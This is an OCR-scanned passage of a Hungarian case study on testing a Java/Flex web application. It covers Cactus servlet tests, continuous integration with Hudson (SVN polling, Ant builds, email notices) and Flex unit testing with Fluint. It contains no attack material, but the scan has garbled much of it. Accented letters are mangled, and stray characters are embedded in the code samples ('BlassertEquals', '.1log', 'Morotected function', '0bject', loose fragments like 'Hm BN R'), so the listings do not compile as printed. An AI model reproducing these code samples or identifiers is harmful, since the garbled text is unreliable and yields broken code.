NodelList nodes = (NodelList) result;

assertEquals ("XML is not correct ", 1,
nodes.getLength()) ;

String response = nodes.item(0).getNodeValue()
BlassertEquals ("wrong resultCode", "0", response);
} catch (Exception ex) {
Logger.getLogger (

TestManagerServlet.class.getName ()) .1log (
Level.SEVERE, null, ex);

Kliens oldalon a kapott paraméter hasznalhatjuk, a kérés beallitasara.

Beallitjuk a kérés paraméterét, jelen esetben function paramétert logout
eértékre.

A teszt fuggvényben létrehozzuk a kivant szervletet.

Meghivjuk a tesztelend6 metodust.

Ha barmi kivétel keletkezik, akkor a teszt sikertelen (muszaj kezelnink).

E Ellenérizzik a szerver oldali kivant utéhatast. Jelen esetben a kijelen-
tkezés funkciotdl elvarjuk, hogy érvénytelenitse a session-t.

Az endxxx() kliens oldali fliggvény egyetlen paramétere a kapott valasz
(tartalom, valaszkdd, suti,...)

E A kliens oldalon ellenérizhetjuk a kapott tartalmat. Jelen esetben egy

XML, aminek tartalmazni kell egy response tagot, aminek az értéke 0 kell
legyen. (Az XML feldolgozas tobb utasitasbdl all, tébb lehetdség is van.)

A tesztek futtatasara két lehetéség is kinalkozik. Futtathatjuk egy masik sz-
ervlet formajaban, vagy JUnit tesztbe agyazva (jelen pillanatban a JUnit 4-
es nem tamogatott). Szervletként futtatva hasznalnunk kell a telepitett redi-
rector szervletet megadva neki a teszt osztalyunk teljes nevét. A valasz XML
formatumu, de a Cactus oldalardl letolthetlink egy xls fajlt hozza, igy kimenet
html szOveg lesz. Miutan elhelyeztik a webalakalmazas gyokerébe a letdltott
xsl-t a kérés a mi esetlinkben a kovetkezéképpen néz ki:

Example 1.5. Cactus szervlet teszt futtatasa (1 sor)

http://localhost:8080/ServlietTestRunner?
sulite=hu.sztaki.openrtmext.server.servlets.TestManagerServleté&xsl=
report.xsl

12



Esettanulmany

Mely hatasara hasonlé az eredmény tartalmazza egy Osszesitést, és hiba
vagy rossz eredmény esetén a helyét, leirasat. A kérés kimenete a mi es-
etinkben egy hiba esetén a kdvetkez6képpen néz ki:

Figure 1.8. Cactus szervlet tesztink eredménye a bongészében
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Parancssorbdl vagy Netbeans aldl futtatva (Shift + F6) az el6z6 kddot ki kell
egészitenlnk egy main figgvénnyel:

Example 1.6. Cactus teszt futtatasa futtathatd alkalmazas
formajaban
public static void main(String[] args) {

junit.textui.TestRunner.run(suite());

}

A fenti kodon kivil beallithatjuk a Cactus paramétereit, amibél egy kételezd,
€s nincs alapértelemezett értéke. A beallitasra tobb lehetdség és kinalkozik:

1. JVM paraméterrel -Dparamnév=eérték

2. Konfiguraciés fajlban, melynek neve cactus.properties, aminek a class-
path-ban kell lennie. Atdefinialhaté a név a -Dcactus.config=c:/cactus.txt
JVM paraméter segitségével.

3. A teszt kdédban a megfelelé rendszer valtozé  Allitasaval
System.setProperty()

llyenkor a kimenetre irja a teszt eredményeket. Alapértelmezett a beszédes
mod (ALL), igy minden akciot kiir a kimenetre (kapcsolodva a szerver oldal-
hoz, milyen kérést klld el, milyen paramétert allit be, ...).

Hudson rendszer

A Hudson rendszer nem teszt alkalmazas, hanem folyamatos integracios
alkalmazas, ami ebben az esetben egy webalkalmazas. Segitségével au-

13
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tomatizaltan lehet projektjeink kész termékét (artifact) elGallitani és kdzos
helyen tarolni. A végtermék lehet egy programozé kdnyvtar (lib vagy jar),
lehet egy alkalmazas, dokumentacio vagy barmi ami a projekt kimenete lehet.
Alapvetéen java projektek menedzselésére hoztak létre, de barmilyen nyelvi
projektre beallithato testre szabhat6. A rendszer a kdvetkez6 szolgaltatasokat
nyujtja:

Automatikus forditas, létrehozas. A rendszer lehetévé teszi, hogy szikség
esetén megprobalja létrehozni a terméket akar osztottan is. (Ant €s maven
tamogatott, de barmilyen kilsé alkalmazast meg tud hivni.)

Teszt esetek futtatasa forditas utan. Forditas utan lefuttatja a kivant
teszteket, amelyekrdl kimutatas is készit kérésre, jelenleg JUnit/TestNG ri-
portokat tamogat.

Biztositia a felhasznaldkat, hogy mindenki ugyanazt a végtermeket
hasznalja. Definial URL-t a termék letdltésére, ha mindenki azt hasznalja,
akkor garntalt, hogy nem keringenek kiilénb6zé verziok a rendszerben.

Automatikus telepités. Ha a készités menete sikeres volt, akkor a kész al-
kalmazast telepithetjik végleges helyére.

Felhasznal6 menedzsment, jogok, jogkdrok. A rendszerben felhasznalokat
hozhatunk létre, majd definidlhatjuk, hogy melyik projekten milyen
muveleteket hajthat végre. Ezzel hangolhatjuk rendszeriink mikddéseét.

Lehet6séget nyujt, hogy a régebbi verzidkat is letdlthessik. Beallithatod,
hogy hany (utolsé valamennyi) vagy meddig (adott datumig) verziét tartson
meg a rendszer. Ezek a verzidk barmikor letolthetdek, készitésik menete
(log fajlok), teszt eredmények megtekinthetbek.

Automatikus verziokovetd rendszer figyelés. A rendszernek frissnek kell
lennie. Erre két megoldas adodik:

1. A verzid kovetd kezdeményezi a termék készitésének folyamatat. Svn
esetén a commit hook szriptbe beirhatjuk, hogy kérje meg a webal-
akalmazast a friss verzio leszedésére, majd a termek eléallitadsara (wget
vagy curl alkalmazasok segitségeével).

2. A Hudson figyeli id6rél id6re az verzio kévetét, hogy tértént e valtozas.
Crontab szerlien meg lehet adni egy kifejezést, amelytdl fliggben a rend-
szer figyeli a verzié kdvetdt, és ha uj verziot észlel, akkor lehozza, majd
elkésziti a terméket.

Levél/IM Gzenet kildés sikeres/sikertelen forditas esetén, RSS tamogatas

Kompakt, nincs szlkség hattér adatbazisra.

Szamos plugin, amely segiti munkankat.

14



Esettanulmany

A redszer tdbb fajta projektet ismer, szamunkra a legkényelmesebb a szabad
stilusu ( "Build a free-style software project") volt. A projekt Iétrehozasanak
menete a kdvetkezo:

1. Projekt f6 paramétereinek a megadasa. Itt elsésorban a prokjekt nevét kell
megadni.

2. SCM (Source Code Management) paraméterek beallitasa. Mi svn-t
hasznaltunk, amihez beépitett plugin-ja van a rendszernek. Mivel az svn
tarold is ugyanazon a gépen volt, igy fajl szinten értiik el a tarolot.

3. Termék elballitasanak megadasa. Itt adjuk meg a termék elballitasanak
pontos menetét. Mivel projektink ant alapu (Netbeans ant-ot hasznal),
amit a Hudson-ba épitett plugin tamogat.

4. Egyéb kiséré miveletek paramétereinek a megadasa.
5. Ertesitések definialasa, azok paramétereinek a beallitasa.

A projektet a kovetkez6 beallitasokkal hoztuk létre:

Table 1.1.
Kategéria Paraméter Erték
Source Code Manage-|Subversion file:///var/lib/svn/rtmext/trunk
ment (mivel ugyanazon a szerveren
volt)
Build Triggers Poll SCM R wwE
Build Invoke Ant Build File : OpenrtmExt_Iceport/
build.xml
Invoke Ant Build File : OpenrtmExt_Control/
build.xml
Invoke Ant Build File : OpenrtmExt_Server/
build.xml
Invoke Ant Build File : OpenrtmExt_Tools/
build.xml
Post-build Actions Archive the arti-|Files to archive:*/dist/*
facts
E-mail Notifica-| Recipients: email address
tion

Ezekkel a beallitdsokkal minden percben ellenérzi a rendszer az svn adat-
tarat, és ha valtozast észlel, akkor lehozza egy lokalis masolatba, amire
meghivja az ant alkalmazast, ami létrehozza a jar, war file-okat és kézben
lefuttatja a junit teszteket. Ha a forditas sikeres, de a tesztek nem, akkor mas
szinnel jeldli a terméket, ha az is sikeres volt akkor megint massal. Minden
esetben Gzenetet kiild a beallitott email cimre, és ezek utan a web fellleten
elérheté és letdlthetd az 6sszes sikeres termék verzio.
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Kliens oldal tesztelése

A Kliens oldal tesztelése két részbdl all: kliens oldali logika tesztelése, ami
a modell allapotanak ellenérzése, és a kliens oldali kérések hatasanak el-
lenérzése (kérés megy a szerver oldalhoz, ahonnan visszajon a valasz, amit
a kliens eltarol a logikaban). Mi ingyenes megoldasokat kerestink, ami sajnos
Flex téren elég szegényes. Egységtesztre szamos megoldas létezik, azon-
ban felllettesztre, integracios tesztre nincs jelen pillanatban. Lehetéség van
Selenium, Watir és mas tesztek futtatasara, de ezen teszt esetek tervezése,
implementalasa jelentds raforditas igényel. A Flex rendszerben bevezették
az Externallnteface-t, ami segitségével Flex aldl lehet javascript elemeket
hasznalni és vissza felé is adott a kommunikacié. Azonban minden esetben
nekink kell megirnunk a metédusokat, amiket engedélyeziink a kulvilag felé.
Vannak Uzleti megoldasokon alapul6 ingyenes megoldasok, mint példaul a
FlexMonkey, ami olyan csomagot hasznal az Adobe-tél, amit meg kell ven-
nudnk. Ennek segitségével konnyen felépithetjik és elvégezhetjik az integra-
cios és felulet tesztjeinket. Kliens oldalon elég az egység teszt. Itt is szamos
megoldas kinalkozik, FlexUnit ( nyilt forrasu), amit a Fleshdevelop beépitett
modulja is tamogat, Fluint, ami egység és integraciés teszteket is képes
kezelni. Mi a Fluint rendszert valasztottuk, mert segitségével lehet metddu-
sokat aszinkron mdodon hivni, tamogatja a grafikus elemek (UIComponent)
tesztelését, teszt szekvenciakat is definialhatunk (integracios teszt), XML
kimenetet is tamogatja (automatizalhatd, Hudson-ba integralhatd), hasznal-
haté Ant rendszerrel.

Egysegteszt

A kliens oldali Egység/funkcionalis tesztelésre tobb lehetéség is adodik: Flex-
Unit, Fluint.

Fluint telepitése egyszeri, egy programozdi kényvtarat kell csak letdltenink:
fluint-1.1.1.swc, amit meg kell adnunk a forditonak is. Ezt FlashDevelop es-
etén egyszerll masolas, majd a jobb gomb a fajlon és "Add To Library"
paranccsal tehetjuk meg. Ezutan a forrasok, mxml fajlok készitése soran
hasznalhatjuk a koénytarban levé osztalyokat. Hasonléan a JUnit-hoz itt is
osztalyokat kell irnunk, majd azokat futtatni. Lehetéség van grafikusan (AIR
Flash) vagy karakteres fellleten futtatni (igy lehet6ség van. Az egységtesztet
ugy épitjuk fel, hogy a teszt metddusok végen ellendrizzik valamilyen allitas
helyességét. A teszt metddusaink a teszt esetekben helyezkednek el, ami egy
sima osztaly a TestCase leszarmazottja. A teszt fliggvényeinkhez metainfor-
maciokat is flzhetlink a fliggvény fejlece el6tt. Lehetéség van tébb informa-
ciot is megadni, leirast, hiba vagy kérés ID-t, barmit ami sziikséges.

Example 1.7. Metainformaciok megadasanak modja a Fluit teszt
eset flUggvényhez

[Test (description="Test is supposed to
Fail",issueID="0012443") ]
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public function fails2 () :void {}

A Fluit rendszer semmilyen médon nem korlatozza a lehetséges paraméterek
nevét és értékét. Amit megadunk azt ki fogja irni az ésszesitésnél. Itt is
hasznéalhatjuk a megszokott setUp() és tearDown() metdédusokat. Altalaban
a setUp()-ban hozzuk létre az id6zité objektumot (Timer), amit a tear-
Down()-ban leallitunk és a referencigjat null-ra allitjuk (ezutan a szemeétgyjté
felszabadit). A teszt készlet (TestSuit) osztaly fogja 6ssze a teszt esetein-
tket, ami egy altalunk definialt osztaly (TestSuit leszarmazottja). A rendszer
maga definial egy FrameworkSuite-t, ami tartalmaz teszt eseteket (TestCase
osztalyokat) amelyek tamogatjak kulénb6zd tipusu tesztelést is: aszinkron
tesztelés, felhasznaloi felllet tesztelést, stb. . A fejlesztés alatt szlikség
van valamilyen grafikus teszt futtatd alkalmazas létrehozasara, és annak
hasznalatara. Szerencsére a Fluit tartalmaz egy AIR alkalmazast, amely le-
futtatja a teszteket majd mutatja a az eredményeket. Ehhez a letdlthetd Sam-
pleTestRunner mxml fajlt kell felGlirnunk. Ennek a kodja a kdvetkez6:

Example 1.8. A Fluit grafikus teszt futtaté alkalmazasanak kodja

1 <?xml version="1.0" encoding="utf-8"7?>
<mx:Application
xmlns :mx="http://www.adobe.com/2006/mxml"
xmlns: fluint="http://www.digitalprimates.net/2008/

fluint"

5 layout="absolute"
creationComplete="startTestProcess (event)"
width="100%" height="100%">

<mx:Script>
10 <![CDATA[

import
net.digitalprimates.fluint.unitTests.frameworkSuite.FrameworkSuit

import testSuitSample.SampleTestSuit;

15 protected function startTestProcess( event:Event )
void
{
var suiteArray:Array = new Array();
EFsuiteArray.push( Bnew SampleTestSuit () );

20 testRunner.startTests( suiteArray );

}

11>
</mx:Script>
25
<fluint:TestResultDisplay width="100%" height="100%"

/>
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<fluint:TestRunner id="testRunner"/>
</mx:Application>

Ujabb teszt készlet elinditasa.
A Teszt készlet objektuma.

Az (1) es sort annyiszor kell megismételni a megfelel6 (2)-es objektummal
ahany teszt készletiink van. Miutan elkészitettiik a megfelel6 teszt futtatd
grafikus mxml fajlt, forditsuk le az alkalmazasunkat ugy, hogy ez a fajl adja az
alkalmazasunk f6 ablakat (FlashDevelop alatt ez az Always Compile). Futtas-
suk a projektet, ezutan a teszt futtaté ablakat fogjuk latni, amely a hattérben
lefuttatja a teszteket, majd megjeleniti az eredményeket.

Grafikus elemek tesztelése a Fluint rendszerrel lehetséges, de szamos dolo-
gra oda kell figyelni. Ez valéjaban mar integracios teszt, ami a rendszerunk
egyuttmikodését teszteli. Ismernink kell a Fluit lehetéségeit, kényszere-
it, mert ennek tudataban kell az eredeti rendszer is elkésziteni. A vezér-
|6k nem jelennek meg rogton a felhelyezés utan, és az allapotuk sem lesz
azonnal helyes, hanem t6bb inicializalé6 mlveletet végeznek. Ez kilénbdzé
szamitogepen kildénbdz6 ideig tarthat. A tesztnek mindenképpen meg kell
varni ezt az elére nem megjosolhato id6t. Erre a rendszer megoldast kinal.
Mindaddig varnunk kell, amig egy vezérld inicializalodott és helyesen megje-
lent. Az aszinkron setUp() és az tearDown() fuggvényekkel ezt a problémat
megoldhatjuk. Hozzunk létre agy teszt esetet majd végezziik el a kdvetkezé
|épéseket:

Example 1.9. Grafikus elem tesztelése Fluint segitségével

override protected function setUp() :void {
HtextInput = new TextInput();

Etextlnput.addEventListener(FlexEvent.CREATION_COMPLETE,
BlasyncHandler ( BlpendUntilComplete,
1000 ), false, 0, true );
BaddChild( textInput );
}

Hozzuk Iétre a megfelel6 grafikus vezérlét!

Adjunk hozza egy sajat esemény figyeldt, amely a létrehozas végén fut
majd le!

Hasznaljuk az aszinkron figyeld tipust!

Hasznaljuk a Fluit-ban definialt fUggvényt, ami nem csinal semmit!

Adjuk hozza az adott vezérlét a teszt kdrnyezethez (TestEnvironment)

Az (5)-6s lépésnél az addChild fliggvénnyel hozzaadjuk a grafikus elemet
a teszt esethez, ami furcsanak tlinhet. A teszt eset nem egy grafikus el-
em (UIComponent), de rendelkezésre all a fagade tervezési minta a helyes
mikodés érdekében. A vezérlbk a memdériaban léteznek inicializalédnak, de
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amig nem adjuk valamilyen taroléhoz (Container), nem lesznek valamely el-
em gyermekei, nem fut le az elrendezé (layout) figgvény, addig nem mikod-
nek helyesen. A tesz futtatd implementalja ezt a specialis egyke mintat,a
minek a neve testEnvironment, amely a kdvetkez6 fuggvényeket implemen-
talja a tesztelés érdekében:

+ addChild

+ addChildAt

» removeChild

* removeChildAt

» removeAllChildren
» getChildAt

+ getChildByName
+ getChildindex

+ setChildIndex

* numChildren

A teszt eset lefutasa utan meg kell sziintetni a mellékhatasokat, azaz a létre-
hozott vezérlét le kell szedni a fellletrél és ki kell jeldini térlésre, melyet a
kovetkezd koddal érhetink el:

Example 1.10. A mellékhatast megszintetd tearDown metddus
a Fluit rendszerben

override protected function tearDown () :void {
fBremoveChild( textInput );
HtextInput = null;
}

Szedj[]k ki a felUlet gyereklistajabdl!
Allitsuk a referenciat null-ra, igy majd torli a szemétgyjté a kdvetkezé
alkalommal!

A vezérlbk beallitasa és annak ellendrzése a kdvetkezé koddal lehetséges:

Example 1.11. Vezérl§ tartalmanak beallitasa és ellenérzése

public function
testSetTextProperty () : void {

Hvar passThroughData:0bject = new
Object ()

BpassThroughData.propertyName = 'text';
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passThroughData.propertyValue =
'digitalprimates';

BltextInput.addEventListener ( FlexEvent.VALUE COMMIT,

asyncHandler ( handleVerifyProperty, 100,
passThroughData,

handleEventNeverOccurred ), false, 0, true );
BtextInput.text =
passThroughData.propertyValue;
}

Bprotected function

handleVerifyProperty( event:Event,
passThroughData:0bject ) :void {

BassertEquals ( event.target|[ passThroughData.propertyName ],

passThroughData.propertyValue );
}

Morotected function

h

[ |

BN B N

Hm BN R

andleEventNeverOccurred ( passThroughData:0bject ) :void
{
Bfail ('Pending Event Never Occurred');

}

Hozzunk létre egy egyszeri objektumot, ami tarolja a beallitando értéket
a megfelel6 formaban!

A propertyName propertyValue értékeiket allitsuk be a kivant értékre!

Adjunk egy FlexEvent.VALUE_COMMIT esemény figyel6t, amelyben fi-
gyeljuk majd a sikeres vagy sikertelenség tényét.

Rendeljuk a vezerl6 értékéhez a kivant értéeket!

Definialjunk egy metddust a sikeres értékadas esetére!

Ellendrizzik a kivant hatast a assertEquals metddus segitségével!

Definialjuk a handleEventNeverOccurred metédust arra az esetre, ha a
beallitas nem futott le sikeresen!

A tesztel6 keretrendszernek kuldjuk el a sikertelenség tényét a fail meté-
dus hasznalataval!

A futas eredményét grafikusan elemezhetjik, és a piros régiéra klikkelve
kinyilik a hibas, vagy helytelen eredményt adé fliggvény, melyet a kdvetkezé

a

bran lathatunk:
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Figure 1.9. Egységteszt eredményének ablaka

[ st vt oy 10 "7 T BT T T

File View Control Help

v @ testSuitBasicGraphics - Failed { 1) Setup or Teardown Failed for this TestCase.
Error: Setup/Teardown Error

¥ @ MainGUITestCase - Failed (1) at net.digitalprimates.fluint.tests:: TestCas

X at Function/http://adobe.com/AS53/2006/b

£ : gt net.digitalprimates.fluint.tests:: TestCas
13 E‘El testSuitBasicModel - Passed at net.digitalprimates.fluint.tests:: TestCa:
at net.digitalprimates.fluint.ui: i TestRunne

at net.digitalprimates.fluint.ui:: TestRunne

at flash.events::EventDispatcher/dispatchE

at flash.events::EventDispatcher/dispatchE

at net.digitalprimates.fluint.tests:: TestCas
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